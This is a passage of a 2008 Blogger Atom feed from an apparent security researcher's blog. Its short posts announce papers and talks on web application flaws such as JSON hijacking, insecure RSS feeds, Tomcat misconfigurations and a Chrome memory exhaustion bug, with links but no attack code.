/&gt;/security/DoS-Schwachstelle-bringt-Googles-Chrome-zu-Fall--/news/meldung/116526&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;and so....&lt;br /&gt;&lt;br /&gt;Regards&lt;br /&gt;0kn0ck&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-4359036098312383462?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/4359036098312383462/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=4359036098312383462' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/4359036098312383462'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/4359036098312383462'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2008/09/google-chrome-memory-exhaustion-bug.html' title='Google Chrome Memory Exhaustion Bug'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_2r2SQhqglf4/SN5qba8a8hI/AAAAAAAAAR4/RHwegzeyn_I/s72-c/chromecolour3.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-7732946032122346087</id><published>2008-09-10T01:57:00.000-07:00</published><updated>2008-09-10T02:05:53.854-07:00</updated><title type='text'>Hakin9 Release - Auditing Rich Internet Applications - Testing RIA Strategically</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_2r2SQhqglf4/SMeN4pdBYhI/AAAAAAAAARw/A10zFd-r93s/s1600-h/hakin9.png"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://1.bp.blogspot.com/_2r2SQhqglf4/SMeN4pdBYhI/AAAAAAAAARw/A10zFd-r93s/s320/hakin9.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5244316295436001810" /&gt;&lt;/a&gt;&lt;br /&gt;This research deals with insecurities in designing FLEX based applications from a developer perspective. The application's behavior depends on code written at the backend. It has been noticed that most of an application's flaws are the outcome of insecure or bad code.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://hakin9.org/prt/view/about-the-mag/issue/893.html"&gt;http://hakin9.org/prt/view/about-the-mag/issue/893.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Regards&lt;br /&gt;0kn0ck&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-7732946032122346087?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/7732946032122346087/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=7732946032122346087' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/7732946032122346087'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/7732946032122346087'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2008/09/hakin9-release-auditing-rich-internet.html' title='Hakin9 Release - Auditing Rich Internet Applications - Testing RIA Strategically'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_2r2SQhqglf4/SMeN4pdBYhI/AAAAAAAAARw/A10zFd-r93s/s72-c/hakin9.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-4162184877929960203</id><published>2008-08-23T03:12:00.000-07:00</published><updated>2008-08-23T03:27:35.317-07:00</updated><title type='text'>Hackonic - The Hacker Way of Writing</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_2r2SQhqglf4/SK_ixdJZaQI/AAAAAAAAAQ0/8kqO-OHdpAU/s1600-h/hackonic.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://4.bp.blogspot.com/_2r2SQhqglf4/SK_ixdJZaQI/AAAAAAAAAQ0/8kqO-OHdpAU/s320/hackonic.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5237654230920685826" /&gt;&lt;/a&gt;This project is dedicated to hacker way of writing. The aim is to present the creative thinking of hacker over social layout. The art resides everywhere. So its a duty to craft it and to present in front of comunnity.&lt;br /&gt;&lt;br /&gt;Hackonic - Leveraging the Hidden thinking process.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://hackonic.secniche.org"&gt;&lt;b&gt;HACKONIC&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Regards&lt;br /&gt;0kn0ck&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-4162184877929960203?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/4162184877929960203/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=4162184877929960203' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/4162184877929960203'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/4162184877929960203'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2008/08/hackonic-hacker-way-og-writing.html' title='Hackonic - The Hacker Way of Writing'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_2r2SQhqglf4/SK_ixdJZaQI/AAAAAAAAAQ0/8kqO-OHdpAU/s72-c/hackonic.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-7751297192030880680</id><published>2008-08-21T19:44:00.000-07:00</published><updated>2008-08-23T03:21:04.255-07:00</updated><title type='text'>Restating JSON Hijacking - Call Back Pattern Checks</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_2r2SQhqglf4/SK_khExqhsI/AAAAAAAAAQ8/YtLw2GrR5aw/s1600-h/json160.gif"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://4.bp.blogspot.com/_2r2SQhqglf4/SK_khExqhsI/AAAAAAAAAQ8/YtLw2GrR5aw/s320/json160.gif" border="0" alt=""id="BLOGGER_PHOTO_ID_5237656148524041922" /&gt;&lt;/a&gt;&lt;br /&gt; Recently I was going through the Web application List and found a post on JSON Hijacking. The issue of spreadsheet was briefly discussed. The prime target to hit the Callback Pattern working functionality which is also undertaken as JSON Padding which is considered insecure.So here are some of the papers and discussion which will explore this concept at max.&lt;br /&gt;&lt;a href="http://www.secniche.org/papers/Exploiting_JSON_7_Attack_Shots.pdf"&gt;&lt;br /&gt;[1] http://www.secniche.org/papers/Exploiting_JSON_7_Attack_Shots.pdf&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.secniche.org/papers/Ser_Insec_Bison.pdf"&gt;[2] http://www.secniche.org/papers/Ser_Insec_Bison.pdf&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.communities.hp.com/securitysoftware/blogs/spilabs/archive/2007/08/27/The-real-reason-for-_2800_JavaScript_7C00_JSON_2900_-Hijacking.aspx"&gt;[3] HP  Blog &lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Regards&lt;br /&gt;0kn0ck&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-7751297192030880680?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/7751297192030880680/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=7751297192030880680' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/7751297192030880680'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/7751297192030880680'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2008/08/restating-json-hijacking-call-back.html' title='Restating JSON Hijacking - Call Back Pattern Checks'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_2r2SQhqglf4/SK_khExqhsI/AAAAAAAAAQ8/YtLw2GrR5aw/s72-c/json160.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-7857480032163530947</id><published>2008-08-16T11:19:00.000-07:00</published><updated>2008-08-23T03:21:53.927-07:00</updated><title type='text'>God Dwells in Machine - The Transformation</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_2r2SQhqglf4/SK_ktq7FhWI/AAAAAAAAARE/QQB_cu4aajY/s1600-h/img-whiteHat.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://1.bp.blogspot.com/_2r2SQhqglf4/SK_ktq7FhWI/AAAAAAAAARE/QQB_cu4aajY/s320/img-whiteHat.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5237656364922537314" /&gt;&lt;/a&gt;&lt;br /&gt; With the advent of new technology entities and objects , the face of world has changed. Ever since the development takes place there is always a forefather adhere to it. Not even a single discovery can be made without the originator. When it comes to nature, god is there. When it comes to machines the answer really gets hard to find. God resides in Machine ! Is it possible? A little sarcastic question to ask but still it holds a abstract truth which one can not deny.&lt;br /&gt;&lt;br /&gt;A very generic views have been presented. Fetch here and think of your own:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.secniche.org/god_mach.html"&gt;&lt;b&gt;God Dwells in Machine.&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Regards&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-7857480032163530947?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/7857480032163530947/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=7857480032163530947' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/7857480032163530947'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/7857480032163530947'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2008/08/god-dwells-in-machine-transformation.html' title='God Dwells in Machine - The Transformation'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_2r2SQhqglf4/SK_ktq7FhWI/AAAAAAAAARE/QQB_cu4aajY/s72-c/img-whiteHat.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-5950444326174161571</id><published>2008-08-16T11:15:00.000-07:00</published><updated>2008-08-16T11:48:41.570-07:00</updated><title type='text'>Tomcat-Apache Passsword Information Dumps</title><content type='html'>The web is a platform for launching number of attacks in different environment. It is not so easy to directly trigger the pattern of insecurity and exploit the dynamic entities. The web itself holds tremendous information. This information should be managed and tackled in a right way. Again the administration is a big problem. Well it is. While pen testing Apache tomcat it is undertaken that the security is implemented in a worst way. Most of the time weak passwords and poorly generated modules and misconfigurations lead to control.&lt;br /&gt;&lt;br /&gt;Note: 50 % of Apache Tomcat servers can be hacked in easy manner if security is slithered. A brief analysis after a collection of dumps is discussed. Have a look:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://cera.secniche.org/tomcat_check.html"&gt;&lt;b&gt;CERA Arena&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Regards&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-5950444326174161571?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/5950444326174161571/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=5950444326174161571' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/5950444326174161571'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/5950444326174161571'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2008/08/tomcat-apache-passsword-information.html' title='Tomcat-Apache Passsword Information Dumps'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-6319290932137926397</id><published>2008-07-31T23:40:00.000-07:00</published><updated>2008-07-31T23:46:08.219-07:00</updated><title type='text'>Shakacon 2008 Hawaii USA Presentations are Online</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_2r2SQhqglf4/SJKwDkTvzzI/AAAAAAAAAQc/2RmNfdmET7I/s1600-h/shaka.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://bp1.blogger.com/_2r2SQhqglf4/SJKwDkTvzzI/AAAAAAAAAQc/2RmNfdmET7I/s320/shaka.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5229435692663164722" /&gt;&lt;/a&gt; The Shakacon conference presentations have been made online. The PDF presentation which is a mirror of my previous presentation have been released at shakacon website. You can download presentations:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.shakacon.org"&gt;&lt;b&gt;ShakaCon 2008&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The Shakacon is Hawaii is most prominent conference on security.&lt;br /&gt;&lt;br /&gt;Enjoy the things !&lt;br /&gt;&lt;br /&gt;Regards&lt;br /&gt;0kn0ck&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-6319290932137926397?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/6319290932137926397/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=6319290932137926397' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/6319290932137926397'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/6319290932137926397'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2008/07/shakacon-2008-presentations-are-online.html' title='Shakacon 2008 Hawaii USA Presentations are Online'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp1.blogger.com/_2r2SQhqglf4/SJKwDkTvzzI/AAAAAAAAAQc/2RmNfdmET7I/s72-c/shaka.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-8444258307250905967</id><published>2008-07-05T23:29:00.000-07:00</published><updated>2008-07-05T23:44:54.370-07:00</updated><title type='text'>SNS08-01 Whitepaper - Paranormal Fallacy - SE Automated Scanning Anomaly.</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_2r2SQhqglf4/SHBo8H1X9wI/AAAAAAAAAQU/3bi3Pvq6TH0/s1600-h/whitepaper.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://bp1.blogger.com/_2r2SQhqglf4/SHBo8H1X9wI/AAAAAAAAAQU/3bi3Pvq6TH0/s320/whitepaper.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5219787350226761474" /&gt;&lt;/a&gt;This paper will discuss the anomaly behavior of Google search engine that affects the working of automated scanning tools. This anomaly can be considered as a security mechanism implemented by Google to prevent number of search queries to be executed by a single host within a specific time limit. Due to this factor the scanning functionality of number of tools is disrupted.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.secniche.org/papers/SNS_08_01_SE_Auto_Scan.pdf"&gt;&lt;br /&gt;&lt;b&gt;FETCH&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Regards&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-8444258307250905967?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/8444258307250905967/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=8444258307250905967' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/8444258307250905967'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/8444258307250905967'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2008/07/sns08-01-whitepaper-paranormal-fallacy.html' title='SNS08-01 Whitepaper - Paranormal Fallacy - SE Automated Scanning Anomaly.'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp1.blogger.com/_2r2SQhqglf4/SHBo8H1X9wI/AAAAAAAAAQU/3bi3Pvq6TH0/s72-c/whitepaper.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-9141477306644451798</id><published>2008-06-30T07:29:00.000-07:00</published><updated>2008-06-30T07:39:02.030-07:00</updated><title type='text'>Hakin9 Paper : Hacking RSS Feeds - Insecurities in Implementing RSS Feeds</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_2r2SQhqglf4/SGjvdm5VW8I/AAAAAAAAAQI/T5Pm6fHW_AE/s1600-h/hakin9_4.png"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://bp1.blogger.com/_2r2SQhqglf4/SGjvdm5VW8I/AAAAAAAAAQI/T5Pm6fHW_AE/s320/hakin9_4.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5217683460244986818" /&gt;&lt;/a&gt;This paper sheds light on the insecure coding practices that affect RSS based web applications and also on their flexibility. The advent of Web 2.0 has enhanced the mobility of content. The inclusion of content has become the sole basis for the inter-working of websites.&lt;br /&gt;&lt;br /&gt;RSS feeds are used extensively. This serves as an interdependent working platform. But during penetration testing sessions, PHP based RSS applications show vulnerable behavior due to insecure coding. As a result of this, web application robustness is affected. This layout is versatile from a security point of view as well as from a working structure of applications. This paper discusses the infection vectors that occur due to insecure coding by developers and includes other related security issues. It will provide a detailed analysis of the errors and efficient measures to correct those errors, while keeping in mind the original security concerns.&lt;br /&gt;&lt;br /&gt;You can have a look : &lt;a href="http://hakin9.org/prt/view/about-the-mag/issue/853.html"&gt;&lt;b&gt;Hakin9 / 4th Issue / 2008&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Regards&lt;br /&gt;0kn0ck&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-9141477306644451798?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/9141477306644451798/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=9141477306644451798' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/9141477306644451798'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/9141477306644451798'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2008/06/hacking-rss-feeds.html' title='Hakin9 Paper : Hacking RSS Feeds - Insecurities in Implementing RSS Feeds'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp1.blogger.com/_2r2SQhqglf4/SGjvdm5VW8I/AAAAAAAAAQI/T5Pm6fHW_AE/s72-c/hakin9_4.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-5096727163708064080</id><published>2008-06-23T07:02:00.000-07:00</published><updated>2008-06-23T07:12:11.815-07:00</updated><title type='text'>Leading Security Team at Evil Fingers Community</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_2r2SQhqglf4/SF-uT26-WYI/AAAAAAAAAP4/J58wRq_YbzY/s1600-h/evil.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://bp2.blogger.com/_2r2SQhqglf4/SF-uT26-WYI/AAAAAAAAAP4/J58wRq_YbzY/s320/evil.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5215078549701941634" /&gt;&lt;/a&gt;EvilFingers aims at uniting different pieces of information into one unanimous framework, where everything is mapped to everything else. This approach helps analysts, engineers, consultants and the management to understand the meaningful relationships between different parts of Information Security that could be lost if it remains untouched. Security has been there for several thousand years and yet when humans try deploying the same in different forms, there are several possibilities of misinterpretations that make it even harder to attain complete security. Our mission that we have chosen is to bring in as many resources as possible into one single roof to help this community.&lt;br /&gt;&lt;br /&gt;Having said what our mission is, our approach is to successfully make our moves that take us closer towards our mission. Most of our projects are based on the data that has been collected by the others. Creating new projects on existing stuff or recycling the wheel is not the EvilFingers approach. What we aim at doing is to map the existing data that is out there in the free world, by using the meaningful mapping vectors and thereby finding out the missing pieces of the puzzle. Once the missing pieces are found, Wallah! We are done with our purpose. The work beyond our mission is to envision a future without any missing pieces and to set our goals to fill them up with our newer projects.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.evilfingers.com"&gt;&lt;b&gt;EVIL FINGERS&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I will be leading one of the team for security projects. You can check this here:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://evilfingers.com/about/people.php"&gt;&lt;b&gt;Members at Evil Fingers.&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Regards&lt;br /&gt;0kn0ck&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-5096727163708064080?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/5096727163708064080/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=5096727163708064080' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/5096727163708064080'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/5096727163708064080'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2008/06/leading-security-team-at-evil-fingers.html' title='Leading Security Team at Evil Fingers Community'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp2.blogger.com/_2r2SQhqglf4/SF-uT26-WYI/AAAAAAAAAP4/J58wRq_YbzY/s72-c/evil.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-3907668471706534319</id><published>2008-06-18T12:50:00.000-07:00</published><updated>2008-06-19T10:15:29.665-07:00</updated><title type='text'>Traversing Dismantled Codes - Tactical Testing / Facebook Case Study</title><content type='html'>With the ever increasing demand of technology in service industry the service lines are getting messed up. There are lot of unmanaged stuff out there on the web. Developers do not check most of the code in websites but add related modules continuously with passage of time.So the website becomes a pool of messed web pages. There can be broken links or dismantled codes. As a result of which some code structures work fine with most of web pages and vice versa. A kind of insecurity persist in this.&lt;br /&gt;&lt;br /&gt;Download the Case Study ; &lt;a href="http://cera.secniche.org/case_study_facebook.pdf"&gt; FaceBook Case Study&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Regards&lt;br /&gt;0kn0ck&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-3907668471706534319?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/3907668471706534319/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=3907668471706534319' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/3907668471706534319'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/3907668471706534319'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2008/06/traversing-dismantled-codes-tactical.html' title='Traversing Dismantled Codes - Tactical Testing / Facebook Case Study'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-8024856937488711918</id><published>2008-06-10T11:48:00.000-07:00</published><updated>2008-06-10T11:53:35.495-07:00</updated><title 